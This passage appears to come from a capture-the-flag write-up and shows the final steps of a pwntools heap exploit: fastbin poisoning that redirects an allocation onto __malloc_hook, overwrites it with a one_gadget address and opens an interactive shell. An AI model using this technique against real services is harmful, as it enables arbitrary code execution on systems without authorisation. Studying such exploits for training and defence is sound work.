delete(b'0')
delete(b'2')
# Overwriting the fd of fastbin with fake_chunk addr 
insert(b'128', b'AB' * 8 + p64(0) + p64(113) + p64(malloc_hook) + p64(0) + b'\n')
# Allocating the right size of 96 (0x71 with header) 
insert(b'96', b'A'*96)
# Overwriting the address of __malloc_hook with one_gadget for shell
insert(b'96', (b'B' * 0x13) + p64(one_gadget) + b'\n')
#Now just allocate any size and get a shell
p.interactive()

Last updated